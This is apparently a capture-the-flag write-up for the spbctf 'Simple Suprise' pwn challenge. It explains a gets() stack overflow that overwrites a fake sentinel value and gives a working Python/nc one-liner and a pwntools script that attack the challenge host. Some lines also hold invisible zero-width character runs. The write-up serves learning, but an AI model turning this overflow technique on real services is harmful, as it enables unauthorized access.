← Back to Writeups
CUSTOMEasypwn

Simple Suprise

XESXOR9/2/20262 min read
#pwn#custom#easy#inverted_comparison_bypass#sentinel_overwrite#stack_buffer_overflow#linux

Simple Suprise

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: inverted_comparison_bypass, sentinel_overwrite, stack_buffer_overflow

Summary

Task: 64-bit ELF using unbounded gets() into a 256-byte stack buffer guarded by a hand-rolled 0xcafebabe sentinel, with inverted logic that prints the flag only when the sentinel is corrupted. Solution: overflow 268 bytes to reach and change the sentinel so data != 0xcafebabe, triggering print_flag().

Simple Suprise — spbctf

Description

Welcome to task:

Remote: nc 109.233.56.90 11611. Binary simple_surprise_1 (ELF 64-bit LSB, x86-64, dynamically linked, not stripped). Hosted under a directory named canary, but the binary has no real stack-smashing protector — instead it uses a manually placed sentinel integer that is trivially defeatable.

Goal: reach print_flag(), which reads and prints the local flag file.

Analysis

The recovered source (the program prints task1.c on success): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
void work() {
    int data = 0xcafebabe;
    char buf[256];
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("Welcome to task:");
    gets(buf);                       // unbounded read -> overflow
    if (data != 0xcafebabe) {        // INVERTED: flag printed when data is corrupted
        puts("Hacker!");
        print_flag();                // printout("flag"); printout("task1.c");
    } else {
        puts("Good but not enough");
    }
}

Key facts from disassembly:

  • buf is at [rbp-0x110].
  • The sentinel int data = 0xcafebabe is at [rbp-0x4].
  • The comparison logic is inverted: print_flag() runs only when data != 0xcafebabe.
  • Overwrite distance from start of buf to the sentinel: 0x110 - 0x4 = 0x10c = 268 bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

gets() performs an unbounded read, so we can freely write past buf and into the sentinel. The sentinel is a fake, hand-rolled "canary" (explaining the directory name), but because the win condition is data != 0xcafebabe, simply overwriting it with any other value unlocks the flag. No ROP, no return-address control, and no leak are required — this is a ret2win-adjacent bug solved by flipping one stack variable.

Solution

Send 268 bytes to fill buf up to the sentinel plus a few extra to overwrite data (272 As comfortably covers it). The sentinel becomes 0x41414141 != 0xcafebabe, so the if branch executes print_flag(). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*272 + b'\n')" | nc 109.233.56.90 11611

Output:

Welcome to task:
Hacker!
File flag:
spbctf{REDACTED}

Equivalent pwntools version:

python
#!/usr/bin/env python3
from pwn import remote

io = remote("109.233.56.90", 11611)
io.recvuntil(b"Welcome to task:")
io.sendline(b"A" * 272)          # 268 to reach sentinel + padding
print(io.recvall(timeout=3).decode(errors="replace"))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍